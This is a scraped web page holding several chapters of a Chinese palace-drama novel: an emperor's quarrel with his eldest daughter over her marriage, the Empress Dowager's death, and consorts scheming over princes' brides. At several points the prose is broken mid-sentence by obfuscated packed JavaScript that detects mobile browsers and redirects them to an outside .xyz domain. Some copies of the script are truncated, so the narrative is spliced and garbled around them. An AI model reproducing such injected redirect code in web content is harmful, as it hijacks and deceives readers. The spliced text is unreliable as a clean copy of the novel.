“姑姑是不是有话想同朕说?”萧祈安虽然从小与太后不亲近,但是与母后身边的这个头脑清楚的贴身宫女,还算能好好说几句话。 “陛下,本来这话是轮不到奴婢说的,但是太后娘娘她一直撑着不肯说,奴婢实在是看不下去了,今日见着陛下,也就斗胆做主就替她说了。” “娘娘的身子是一日差过一日了,若是您有空,可否多来陪陪娘娘?” 梅青姑姑这话说得已经很直接了,萧祈安当然听明白了。 他摸着大拇指的扳指想了好一会儿,最后还是缓缓道,“姑姑放心,朕……会的。” 第262章 大公主其人 晚间萧祈安来承乾宫陪夏韶宁和六皇子用晚膳的时候,夏韶宁明显感觉到了他周身都围绕着散不开的低气压。 “陛下,是您让昀儿回承乾宫与咱们一起用晚膳的,这会儿怎么表情这么凝重?” 夏韶宁夹了一颗虾球放到萧祈安的碗里,忍不住出声道。 “昀儿最近去看过你皇祖母了吗?”萧祈安并没有回答夏韶宁的话,只是转过头来询问一旁的六皇子。 “回父皇,去过的。那天儿臣同二哥,二姐,还有七弟一块去了。只是儿臣们去的时候皇祖母睡着了,所以便也只是在门口站了站,没有进去。” 听得萧祈安的问话,六皇子忙放下筷子恭恭敬敬地答道。 “你们去的时候,见到你们大姐和三哥了吗?” 萧祈安不知想到了什么,放下筷子又问了六皇子一句。 “嗯……儿臣当时去的时候,听梅青嬷嬷提了一嘴,说三哥刚走。大姐姐……倒是没听到宫人们提起过。”六皇子回道。 “呵,她好歹是母后带大的,又是孩子们的大姐。亏得母后病得那么厉害还心心念念都是她的婚事,她现在倒是连一点儿表面功夫都不屑于做了。” 萧祈安冷笑一声,想到这段时间宫里关于大公主的传闻,只觉得心寒。 “昀儿先下去吧。”听出了萧祈安似乎有些话想要说,夏韶宁忙站起身来对着六皇子摆了摆手。 “是,儿臣刚好也吃饱了,这就先回重华宫了,等明日放学再来给母妃请安。” 六皇子今年虽然只有十岁,但是说话做派已经像个小大人了。他知道父皇和母妃有要紧的事情要说,于是便立刻对着两人行了一礼,带着伺候他的内侍离开了。 “朕的这些个孩子,但凡能有昀儿一半懂事,朕都不至于这么头痛。” 这会儿的萧祈安也没了用膳的心思了,摆了摆手让宫人将桌上的菜撤了下去,转身拉着夏韶宁就坐到了一旁的暖座上。 “陛下今日同太后娘娘说什么了?怎么感觉您从永寿宫离开以后,兴致就不高了?” 夏韶宁挑了个橘子剥了皮递给了萧祈安,轻声道,“您吃一口,可甜了。” “哎,朕今日同母后说了很多,从以前谈到现在。说到最后,虽然朕仍旧无法释怀她曾经对朕做的那些事情,但是……朕也不再恨她了。” 萧祈安接过夏韶宁递来的一瓣橘子放进了嘴里,轻轻地叹了一口气。 “母后对朕有亏欠,所以这十来年把她的爱都给了心若和驰儿。她病得连床都起不来了,想着的都还是让心若早日出嫁,可是心若这孩子……” “您是不是听到什么有关于大公主的传闻了?” 想到那天几个孩子放学时对自己说的话,夏韶宁的脸色微变。 “呵,她既然做得出这些事儿,还怕人家传她的闲话吗?”萧祈安冷哼一声。 “朕今日从永寿宫离开的时候,就听得好几个小宫女躲在一旁窃窃私语。说太后娘娘病得这样严重,大公主却甚少去陪伴她。” “甚至有人私底下同朕说过,大公主不止一次向周围的人抱怨,说太后也不知道哪天会……,可是朕却一直不关心她的婚事。说她年纪也不小了,若是太后真的……,她这一耽搁可就年纪大了!” 说到这里,萧祈安的火气就更大了。 “母后对她那么好,她却在私底下这样诅咒母后!朕怎么会有这样的女儿?!” 听得萧祈安的这些话,其实夏韶宁的心里并不觉得意外。 她平日里虽然不管大公主和三皇子的事情,但是这后宫毕竟是她在管,这两个孩子平日里做了什么说了什么,不用她去问,自然有人会来告诉她。 夏韶宁已经不止一次听说过大公主对身边的宫女们抱怨过说萧祈安不关心她,说太后娘娘对她好不过是装模作样。甚至随着她年纪渐长,她连与自己一母同胞的三皇子,关系也远没有小时候好了。 大公主不喜欢三皇子同昀儿等人走得近,其他人又碍于他是孝端皇后的儿子始终对他有所芥蒂。天长日久,三皇子也就不爱和任何兄弟姐妹来往,性子也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583019|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越执拗了起来。 “陛下别气了,既然太后娘娘都这么说了,大公主又想早日嫁出去,您又何必在中间做这个恶人呢?” 萧韶宁伸出手来替萧祈安顺了顺气,安慰他道。 “宁儿与朕想到一处了。”萧祈安抓起一旁的茶杯喝了一口茶,这才觉得气顺了一点儿。 “随着朕年纪大了,越来越觉得之前公孙大夫的话是正确的。各人都有各人的命数,朕不能强行去更改他人的命数,不然是会遭报应的。” “今日母后同朕说了,朕的外祖家有个孩子,今年殿选中了个二甲同进士。这孩子不管是年龄、性格、能力都与心若很是相配,朕想着,就早日给他们两人赐婚吧。” “朕总做到一个父亲能为女儿做到的一切,至于她以后的人生是怎么样的,过得好与不好,那都是她的造化。朕管不了,朕也不想再管了。” 说到最后,萧祈安的语气带了些飘忽,也有那么些破罐子破摔的味道在里头。 “您倒是不必把这件事情想得那样坏,大公主这孩子从小就是个有主意的。她又是您的长女,金枝玉叶的,这以后的日子未必就会过得不好。” 夏韶宁嘴上是这么安慰萧祈安的,其实对于大公主,她心里可不是如嘴上这么想的。 大公主这个人,自从孝端皇后去世以后,性格就与小时候完全不同了。 她骄傲且偏执,这些年来又因为没有亲娘在身边教导,性子瞧着似乎也越来越偏离正轨了。 若是萧祈安替她选的驸马是一个只能依附公主,没什么真本事的男子还罢了,他或许为着自己的前程还能哄着大公主。 可是这般能靠着科举谋个一官半职的男子,多少都是有些文人风骨在里头的。你要他委曲求全去迎合公主,想来那是很难的。 这是这些话夏韶宁是不会说给萧祈安听的,毕竟就如他刚刚说的——各人有各人的命,你若是要强行替别人改命,是会遭报应的。 为着这么个差点害死自己和自己孩子的女子,不值得。 第263章 争吵 许是怕拖到最后夜长梦多,第二日,萧祈安就将大公主召到紫宸殿来说话了。 当然,因为害怕自己同大公主谈话的时候会生气继而控制不住自己的脾气,萧祈安把夏韶宁也叫上了。 事实证明,萧祈安这个选择是无比正确的。 因为萧祈安的话刚说完,大公主就开始发飙了。 “父皇的心真的是快要偏出咱们大容国界了吧?早些年昭贵妃家的庶妹都能嫁一个有官职的官员,怎么偏生到了女儿身上,就得嫁一个连个一官半职都没有的同进士?” “这每年殿选后的同进士那么多,大部分都是外放到金州以外的其他州,去熬个三年五年才能回来,再从个从七品的芝麻小官开始做起。” “那运气好的,过个五年十年大概能升到个四五品官。运气不好的,这辈子就是个七品芝麻官了!怎么,父皇觉得您的嫡长女难道只配嫁个这种男子吗?!” 大公主就那样笔直地站在萧祈安的面前,一双眼睛看向他的时候,里头全都是满满的怨恨。 是的,怨恨,萧祈安居然从他的长女看向自己的眼神里,看出了怨恨。 “萧心若,你知道你在说什么吗?你知道你现在是在同谁说话吗?!” 听着大公主这近乎发狂的咆哮,萧祈安气得“砰”的一声伸出手来重重地拍在了身前的桌子上。 他站起身来,狠狠地盯着大公主道—— “那陈平威为人正直又有能力,你嫁给他又有什么不好的?你在崇文馆念了那么多年的书,夫子难道没教过你莫欺少年穷吗?就算真的要等上个五年十年他才会有成就,那又如何,你一个公主陪着他白手起家,他还敢不念着你的好吗?你的目光怎么就如此狭隘?!” “白手起家?父皇难道没看那话本子上写的,男子靠着女子有了成就以后,做的第一件事就是抛弃糟糠!到时候我年纪大了他也有能力了,谁知道他会不会一房一房小妾抬进府?那时候父皇年纪也大了,还能管得住他吗?我不趁着现在年轻找个官职高的好好享受生活,等到我三四十岁了,还有什么好享受的?!” 此时的大公主根本听不进去萧祈安对她说的话,她已经在心里认定了她这个父皇就是不希望看见她过上好日子。 她越想越气,到最后,直接就仰着脸当着萧祈安和夏韶宁的面哭了起来。 “说起来我与驰儿是这些皇子公主里头最可怜的。其他弟弟妹妹都有亲母妃养育着,照顾着,只有我们姐弟俩像个没娘的野孩子。” “皇祖母对我们姐弟的确很好,但是再好能比得上亲生的父亲母亲吗?自从昭贵妃生了六弟,父皇的心里眼里还有我们这些孩子吗?您怕不是希望我们这些孩子早点消失,好别来打扰你们一家三口吧!” “她昭贵妃凭什么?他萧衡昀又凭什么?!她是妾,他是庶子!她们岂有我与驰儿高贵?!” “啪……” 这厢的大公主还在一边大哭一边对着萧祈安控诉,只是她的话还没说完,毫无征兆的,一个火辣辣的巴掌瞬间就落到了她的脸上! 大公主捂着脸,难以置信地抬起头来,看到的就是怒气冲冲,手还举得老高的萧祈安。 “萧心若,你放肆!你还记得你是谁吗?你是朕的女儿,昭贵妃再怎么样也是你的庶母,你怎能这样说她!!” “你不嫁是吧?那好,朕今日就把话放在这儿了,若是你不肯嫁给陈平威,那朕明日就下令让你绞了头发去宝光寺当尼姑!你这辈子都不要嫁人了!!” 萧祈安抬起手来,指着面前的大公主,一字一句地对着她说道。 “陛下息怒!”一直站在一旁沉默不语的夏韶宁也被萧祈安的这番举动给吓着了。 记忆里的萧祈安,脾气一直都还不错,对待这几个孩子虽然算不得每一个都尽心尽力,但是也从来不会随意责骂,更遑论动手了。 如今日这般直接动手**,在夏韶宁的印象里,还是头一次。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为大公主和三皇子是最先住进重华宫的,所以她们两姐弟的屋子在重华宫里是最好的。 特别是大公主,因为她年纪最大,又是孝端皇后的女儿,所以她的屋子是重华宫里所有屋子里最明亮最宽敞的。 大公主捂着脸入了房间,眼见着身边的宫女一直寸步不离地跟着她,气得忍不住对着那宫女呵斥道,“滚出去!” 那宫女好端端地被大公主骂了一句,心里也是有点委屈,正行了个礼准备离开,不想被夏韶宁轻声喊住了。 “大公主心情不好,不是冲着你的。你去煮两个鸡蛋来,今日就不必当值了。” “你还是一如既往的虚伪。”眼见着那宫女对着夏韶宁露出了感激的神情,大公主也忍不住对着她嘲讽道。 “你心里有气,应该去找让你生气的人发作,而不是对着身边日日伺候你的人。” 夏韶宁丝毫没有因为大公主这番阴阳怪气的话生气,她这会儿说话的语气依旧很平静。 “说说吧,你要同我说什么?” 大公主并不耐烦同夏韶宁聊些无关的事情,她今日之所以能容忍夏韶宁跟着她回到重华宫,还让她进了自己的屋子,就是想要听听这个女人到底想和自己说什么。 “我若是你,我今日就不会顶撞圣上,反而会真心实意地感谢圣上替我寻了一门如此好的亲事。” 夏韶宁听出了大公主语气里的不耐烦,于是便直接就将自己心中的真实想法说了出来。 “感激?我感激他什么?感激他给我找了个白身之人当我的驸马?感激他让我这个嫡公主五年十年之内都过不上好日子?你又不是我的母后,你有什么资格在这里对着我说这些风凉话?” 听得夏韶宁这番话,刚刚挨了萧祈安一巴掌心中气都还没有完全消了的大公主,只觉得她的话荒唐的可笑。 “你倒是不用这样咄咄逼人地反问我,我只是觉得圣上刚刚有一句话说得很对,你的眼界,的确狭窄。” “我虽不是你的母后,但是这么些年也算是看着你与三皇子长大的。说实话,你的脾气性格真的算不得很好,不管你承不承认,我一直都是这样认为的。” “你觉得你是公主,这金州城的高门大户只要你想,随便哪家你都能进。可是你有没有想过,就你这样的脾气性格,嫁给高门大户,真的就是好归宿吗?” 夏韶宁依旧是面带微笑看着面前那个气急败坏的大公主,一点儿情绪上的波动都没有。 “我是公主!而且是嫡公主!我嫁给哪户人家,那都是那户人家的福气!你凭什么说我不会有个好归宿?”大公主反问道。 “你是公主当然不会错,但是大户人家的规矩难道不多吗?大容的确有规定,公主出嫁可以与驸马同住公主府,但是就算住在公主府,那也不代表你就可以完全不遵守驸马家中的规矩。若是这样,怕是那些言官参你的折子都得堆满圣上的书桌了!” “据我所知,那个陈平威的老家远在辽州,父母早些年相继都病逝了。那陈平威是个老实可靠的人,最重要的是他家世简单。” “他做了你的驸马,你既不用参与到驸马家中的事务中去,又可以舒舒服服地呆在你的公主府生活,什么规矩都不用守。” 夏韶宁一边说,一边观察着大公主面色的变化。果然,当她听见那句“什么规矩都不用守”的时候,眼神瞬间就亮了起来。 “可是若是他是个没用的,五年十年都还做不到一个四品官,那我的面子往哪里搁?我的日子该如何过?” 虽说此时的大公主似乎被夏韶宁说通了一点儿,但是她的心里始终还是对陈平威的身份心存芥蒂。 “你是公主,生来就是金枝玉叶。就算他真的没本事,难道你就过不上好日子了吗?一个女人,若是把自己的前途全都系在一个男人的身上,那才真的是太没用了。” 夏韶宁的芯子是个现代女人,哪怕已经在大容待了这么多年了,她还是对于古代女人要靠男人生活这件事情嗤之以鼻。 早些年她刚刚穿越来的时候,什么都没有,选择依附萧祈安那完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因着大公主备嫁的时间初定只有三个月,所以公主出嫁的所有流程仿佛都加快了一倍的速度都不止。 不过哪怕时间紧迫,萧祈安也是按照很高的规格去准备这些东西的。就连大公主的公主府,都是选择了一家前朝大官的府邸加紧翻修的。 拿萧祈安的话说就是——“她可以不理解朕这个父皇,但是朕却不能亏待她这个大女儿。毕竟是光启朝出嫁的第一个公主,若是弄得太寒酸,岂不是丢了朕与皇室的脸面?” 不过萧祈安的话虽是这么说,但是夏韶宁却是懒得费心去管这些事。她依旧大手一挥直接让苏昭容与谢修容盯着殿中省去筹备大公主出嫁的一切事务,主打一个只把握大方向,其他一切都懒得操心。 只是在这期间,太后的病一直时好时坏。许多次感觉人都快跨进阎王殿了,但是又硬生生地被公孙信给拉了回来。 就这样到了六月初八,大公主与陈平威成婚的这一日。 早在一周前,萧祈安就下了圣旨,封大公主萧心若为安庆公主。驸马陈平威外放至青州任职知事,三年后若是考核合格便可回到金州。 虽然安庆公主仍对萧祈安的这番决定提出了异议,但是陈平威本人倒是十分恭敬地接受了圣上的这个旨意。 不管内部有多少是是非非,安庆公主与陈平威的这场婚事办得十分风光,倒是让安庆公主的虚荣心得到了极大的满足。 而就在安庆公主风光大嫁不到半月,太后的病情忽然开始急转直下…… 永寿宫。 太后的床前太医跪了一排,公孙信站在所有太医的最前头,眉头忍不住挤成了一个“川”字。 夏韶宁安安静静地站在一旁,面前是不住在殿内走来走去的萧祈安。 “公孙大夫,真的……真的已经没有办法了吗?” 萧祈安皱着眉头在殿内走了好几个来回,脚步最后还是停在了一直沉默不语的公孙信面前。 “陛下,太后娘娘的病情您是很清楚的,之前一直是因为有安庆公主大婚这件事情吊着,太后娘娘才有了那么一点点生的希望。” “如今娘娘的心事已了了,怕是……”一口气重重地叹了下来,公孙信不再说话了。 公孙信这番话犹如一记重锤重重地砸在了萧祈安的心上,他沉默地原地站了许久,随即忽然毫无征兆地一下子就跌倒在了身后的椅子上! “陛下!”夏韶宁被萧祈安的这番举动吓坏了,急忙眼疾手快地扶住了他。 “朕以为,什么都与母后说开了,我们母子俩终于可以好好相处了。可是为什么?为什么结局还是这样呢?” 萧祈安死死拉着夏韶宁的手,说话的语气里居然带着一丝哽咽。 夏韶宁低下头,对上的就是萧祈安那张脆弱的脸,她的心忽然就怔了一下。 这么多年了,她好像从来都没有在这个男人脸上看到过这样的神情。 那是一种什么样的表情呢?无助、后悔、悲痛…… 此时的夏韶宁竟然发现,平时多么能说会道的自己,脑海中居然想不出一句完整的话来安慰萧祈安。 “陛下,昭贵妃,太后娘娘……想见您们二位。” 就在殿内沉浸在一种诡异的沉默中的时候,梅青姑姑忽然红着眼睛缓缓地从内殿里走了出来。 低下头又迅速抬起,萧祈**着夏韶宁的手快步走了进去。 一走进内殿,夏韶宁就闻到了一股浓烈的中药味。再往里头看去,太后正满脸苍白地躺在床榻上。 此时的她已经没有力气坐起身来了,见着萧祈安与夏韶宁进来,只是微微朝着两人动了动自己的手指。 只是这样一个简单的动作,仿佛都已经耗费了太后所有的力气,她忽然剧烈地咳嗽起来。 “咳咳咳……” “母后!”萧祈安见状,急忙走到太后的床前,轻轻拍着她的胸口,想让她舒服一些。 只是哪怕是这样,太后还是“噗”的一声吐出了一大口的鲜血! 夏韶宁被眼前的景象惊着了,下意识的就要抬脚出去找公孙信。只是她刚刚转过身,却感觉自己的手腕被人给抓住了。 “不要去了……留些时间,我有很多话……想和你们说。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596393|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >太后费劲全力抓住了夏韶宁的手,此时已经没有办法一口气说出一段完整的话了。 “母后!您要说什么?儿与宁儿都在这儿,您说!您说便是!”直到此刻,萧祈安终于愿意在太后面前自称自己为“儿”了,只是这句“儿”,大概也不能再多说几次了。 “安儿,你……你终于肯承认,你是……你是我的儿了!”果然,听得萧祈安改了自称,太后那双早已浑浊的眼睛忽然就有了光彩。 哪怕只是一瞬。 “其实从昭贵妃入了后宫,我就……我就知道,她是个好的。我地儿看中的……女人,必定……必定是不会差的。” “我之所以……之所以一直以来都不愿意看到这后宫……有人独宠,就是害怕……我儿会步了先帝的……后尘……” 说到这里,太后看向两人的眼神忽然变得有些飘忽,仿佛在透过两人看向其他人。 “秦皇后和珍贵妃……,这两个女人狠毒啊,偏偏先帝……还宠爱了她们这么多年。但是这……这许多年来我看下来,才发现……昭贵妃她真的是个好的。” “安儿。”她顿了顿,随即抓住了萧祈安的手,用尽全力道,“你的后宫若是要安稳,就必定要……昭贵妃这样的女人才震得住。你不要……不要学你父皇,他……他糊涂啊!” “母后,儿知道!儿都知道!”听得太后直到这个时候,还在担心自己后宫的安稳,一向坚强的萧祈安,终于忍不住落下泪来。 夏韶宁也只是红着双眼心酸地别过头,不敢再看向太后那张已经形容枯槁的脸。 “不要哭,不要哭!我要走了……我要,去过好日子了……” 一颗晶莹的泪从太后的眼角滑落,滴在了仍死死握着她的手不愿松开的萧祈安的手背上,萧祈安痛苦地抬起头,发现太后已经没了呼吸。 “母后!母后!” …… 光启十二年七月初三,太后陈氏病逝于永寿宫,享年五十二岁。 帝大悲,辍朝五日以示哀痛,举国服缟素、止庆宴。直丧仪尽,葬于皇陵,谥号庄肃。 第266章 心思 等到庄肃皇太后的丧期完全结束,坊间已经可以自由宴会,婚丧嫁娶的时候,已经是光启十四年了。 夏韶宁依旧是那个夏韶宁,安安稳稳犹如一座磐石一般稳坐后宫唯一贵妃的位置。 后宫的任何人,无论是从潜邸就跟着萧祈安上来的老人,还是后来选秀入宫的新人,人人都只有仰望和嫉妒她的份,没有多嘴一句的资格。 久而久之,宫里无论是主子还是宫人们就都明白了,承乾宫的昭贵妃,惹不得。 若是谁胆敢去惹她,那圣上是绝对不会饶过你的! 后宫里那些没孩子的宫妃们早就已经开始躺平了。在她们的心里,昭贵妃是个顶顶好说话的,只要你不要没事惹到她面前,她从来不会找那些低位宫妃们的茬。 只是那些有儿子的宫妃,心思却随着儿子的渐渐长大而变得活络了起来。 *** “娘娘,唐贤妃今日下午去了一趟紫宸殿,足足在里头待了一个多时辰才出来。” 如今的李顺,早就已经褪去了从前刚到夏韶宁身边时的青涩。说话做事也渐渐有了贵妃身边首领内侍的那股劲儿了。 这会儿的夏韶宁正在检查六皇子近日的功课,眼见着六皇子的文章是越写越好了,各类见解也是十分独特,夏韶宁心中那是相当骄傲。 “太阳打西边出来了,咱们圣上居然能耐着性子和她唐贤妃在一块儿待那么久?” 夏韶宁小心翼翼地将六皇子的功课收好,摸了摸手里的护甲漫不经心地又问了一句,“知道她们在里头说了什么吗?” “娘娘恕罪,奴才不知。紫宸殿的人一个个嘴严得很,倒是难问出来。”李顺躬着身子道。 “紫宸殿问不出,那就去唐贤妃的华清宫问。这么些年了,这宫里还有什么我不知道的事儿?” 如果说早些年的夏韶宁,往各个宫妃的宫里安插自己的眼线还会偶尔担心被发现。那么如今的夏韶宁,对于这种事情早就已经游刃有余了。 她往那群女人的身边插眼线并不像其他人一样是想着哪一天方便陷害谁,她只是想要知道这群女人最近在做什么,才好方便一点点为昀儿铺路。 六皇子今年已经十二岁了,很多事情,也是时候提上日程了。 …… 也没等夏韶宁等多久,那日吩咐了李顺之后,第二日夏韶宁就已经知道了她想知道的事情了。 “娘娘,那唐贤妃是去向圣上讨儿媳去了!”李顺将殿内伺候的宫人都赶了出去,满脸神秘地对着夏韶宁低声道。 “嗯,说起来也是,大皇子也就比安庆公主小一岁,给庄肃皇太后的丧期一耽误,眼瞅着也十八了。” 听得李顺的话,夏韶宁倒是没有十分吃惊。毕竟她一直觉得,没有哪个母亲是会不为自己的孩子考虑的。 “她看中了哪家的姑娘?”夏韶宁有些好奇的问道。 “娘娘您这可是问到点子上了。”这会儿的李顺一副就等着自家娘娘开口的样子。 “那唐贤妃的胃口可是真不小呢,她看上的,可是正三品中都护李从南的嫡幺女!” 本来夏韶宁初听这件事情倒是只想着看个热闹,可是李顺这话一出口,她的脸色瞬间变了。 “呵,这么些年了,我还以为她唐润玉早就歇了那些乱七八糟的心思了。没想到,她这是在憋个大的啊!” 中都护这个官,细听下来好像并不大,但是他可是除了上都护以外唯一能够管理边境军事事务的官员。 简而言之就是,如今驻守越州的车骑将军傅赟和驻守漠州的怀化将军许青生,都得卖这中都护的一个面子。 不谈什么听不听他的,最起码他们若是要调动军队,首先就得和这上都护和中都护打招呼。 早年孝端皇后的父亲纪斌就是上都护,只不过他这个人十分迂腐,所以在萧祈安继位这件事情上他也没出什么力。年纪一到,自然就被萧祈安给撤了下去,挂了个体面的闲职养老去了。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596394|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今的上都护是前几年萧祈安亲自升上去的,倒算是自己人,只是这个李从南……他却是个滑不溜手的老油条。 夏韶宁之前与夏宽闲聊的时候,也曾听父亲提过几嘴这个李从南。说他明面上似乎从不站队,但是私下里曾偷偷接触过大皇子、二皇子、三皇子。 刚巧她的嫡幺女今年已经十五了,明年就该及笄了。这打的什么主意,那可不就是司马昭之心,路人皆知了吗? “唐贤妃那日从紫宸殿回到华清宫以后,心情如何?”脑子里已经转了九九八十一个弯,夏韶宁终于又出声了。 李顺并不知道就这么一点时间里,自家娘娘就已经想了这么多的事情了。听得娘娘又继续发问了,他便十分恭敬道,“听华清宫的宫人们说的,似乎并不好。那唐贤妃回宫以后就把自己关在房里好几个时辰,说起话来语气也很冲。” “呵,如此正好,她这是打量着把圣上当傻子呢!”夏韶宁冷哼一声,不甚在意。 “含秋。”微微思索了一会儿,夏韶宁便对着门外的含秋喊了一声。眼见着含秋入了殿来,她才吩咐道,“你去一趟苏昭容那里,就说我新得了块好料子想请教她一些女红方面的问题,让她空了就来一趟承乾宫。” 含秋点头应了,即刻就去了。 且说那头的苏昭容,一听得贵妃娘娘要请教自己女红的问题,放下手里的活儿就往承乾宫去了。 “姐姐来了。”苏昭容入了殿来就要向夏韶宁行礼,没成想刚作了个揖就被夏韶宁眼疾手快地扶了起来。 “娘娘什么时候对刺绣的事儿感兴趣了?”苏昭容对着夏韶宁浅浅一笑道,“您从前不是最烦这等劳什子的吗?” “女红的事情本宫当然不忙,但是若是有关于二皇子的婚事,苏姐姐要不要听不听?” 夏韶宁一把扯过苏昭容的手,随即对着她神秘兮兮道,“二皇子今年也十六了,不知道,姐姐心中可有什么心仪的儿媳人选?” 第267章 挖个坑 听得夏韶宁谈到了二皇子的婚事,一向喜怒不爱形于色的苏昭容,面上瞬间露出了一丝忧虑的神情。 “娘娘今日既然问了,那臣妾也就说了。” 苏昭容揪着手中的帕子思索了一小会儿,便缓缓开口了。 “臣妾之前也同娘娘说了,二皇子有个口吃的毛病,性格也温温吞吞的,臣妾实在是怕日后若是圣上给二皇子指的是个厉害的皇子妃,会欺负他。” “咱们圣上平日里虽然看上去颇有些不拘小节。但是臣妾心中明白,他一直在暗处暗暗观察着这些皇子们呢!” “这儿媳的家世若是太高,难免引起圣上的忌惮。只是若是低了,又觉得委屈了二皇子……” “那苏姐姐觉得,中都护李从南李大人家的嫡幺女,好不好?” 没等苏昭容的话说完,夏韶宁便立刻出声打断了她的话。 “这……”苏昭容毕竟出身文臣清流世家,脑子也是十分聪明的,一听得夏韶宁这句话,刚刚才坐下的她立刻就从椅子上站了起来。 “娘娘您误会了,臣妾与二皇子真的没有别的意思。这些年来,您对臣妾与二皇子的好我们母子俩都记在心里!这一路若不是您一直护着我们母子,臣妾如何能一步一步坐到这一宫主位?臣妾只求以后的儿媳妇与二皇子能好好相处,二皇子能当个闲散王爷就好,万万没有旁的心思啊!” 苏昭容说这话的意思其实已经很明显了,当然,这也是她最真实的想法。 这么多年了,圣上的心思是怎么样的,她们这些宫妃们早就已经看得很清楚了。若是从前有些什么心思,也早就被夏韶宁的“怀柔政策”给收服了。 毕竟人心都是肉长的,谁能不对一个十数年如一日对自己和自己孩子好的女人心存感激呢? “苏姐姐是聪明人,才能想得明白这些事情。但是这后宫里,多的是蠢人。” 大家都是聪明人,有些事情其实也不用说得这么明显的。苏昭容一番表忠心以后,夏韶宁便只是缓缓地点了点头,而后才吐出了这句话。 “那李从南大概从去年开始就频繁地接触大皇子、二皇子、三皇子了。本宫猜测二皇子与三皇子大概并没有明确地承诺过他什么,所以他最近与大皇子来往得很是频繁。” “昨日唐贤妃去了一趟紫宸殿,在里头足足待了一个多时辰。姐姐你猜,她在里头待了这么久,是在同圣上说什么呢?总不能是同仪淑妃一样和圣上探讨那些书本上的问题吧?” 夏韶宁此话一出,苏昭容这才想起大概今年年初的时候,二皇子偶然一次同她一起用晚膳的时候的确提过一嘴这个李从南的事情。只是那个时候仍在庄肃皇太后的孝期,二皇子怕惹出什么不必要的麻烦,所以对于李从南的邀请一直都拖着,既没有明确的拒绝,也没有次次赴约。 如今想想,这李从南……是在这些个成年皇子身上押宝呢? “不瞒姐姐说,其实本宫已经替二皇子看中一位姑娘了。只是之前一直在庄肃皇太后的孝期内,所以本宫才一直没有同姐姐提过这件事儿。” 说到这里,夏韶宁便笑着拉过了苏昭容的手。 “本宫父亲有个多年的好友,这两年已经荣升从四品的秘书少监了。他家有个孙女,今年刚满十五,算起来明年正好及笄。” “这姑娘本宫的母亲、长嫂、妹妹都见过,都说她性子虽然温和,但是平日里帮着她母亲管家理账都是一把好手。本宫瞧着,同二皇子正是相配。” 苏昭容听着夏韶宁同自己说的这番话,刚刚还有些纠结的眼神忽然就变得清明起来。 “秘书少监好啊,一看就文臣清流,以后也不容易卷入那些个是是非非里。而且听娘娘这话的意思,这姑娘应是个外柔内刚的性子,二皇子今年正好出宫开府,日后就需要这样一位皇子妃帮他打理府中庶务呢!” “正是这个道理呢!”瞧着苏昭容这般满意的样子,夏韶宁心中不禁对这个女人有些刮目相看起来。 果然啊,这么多年了,从潜邸跟进宫里的那么多女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601496|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,死的死,降位的降位。只有她苏桐瑶一路稳扎稳打,走到了昭容这个一宫主位的位置。 其中的确有夏韶宁经常在萧祈安面前为她的美言的成分在里头,但是安能就说她苏桐瑶自己一点儿本事都没有呢? 识时务者为俊杰,这不就是一个女人最大的本事吗? “所以……娘娘今日叫臣妾来,是有什么时候需要臣妾帮忙的吗?或者说……需要二皇子在宫外帮忙?” 苏昭容抬起头来,似乎已经明白夏韶宁的意思了。 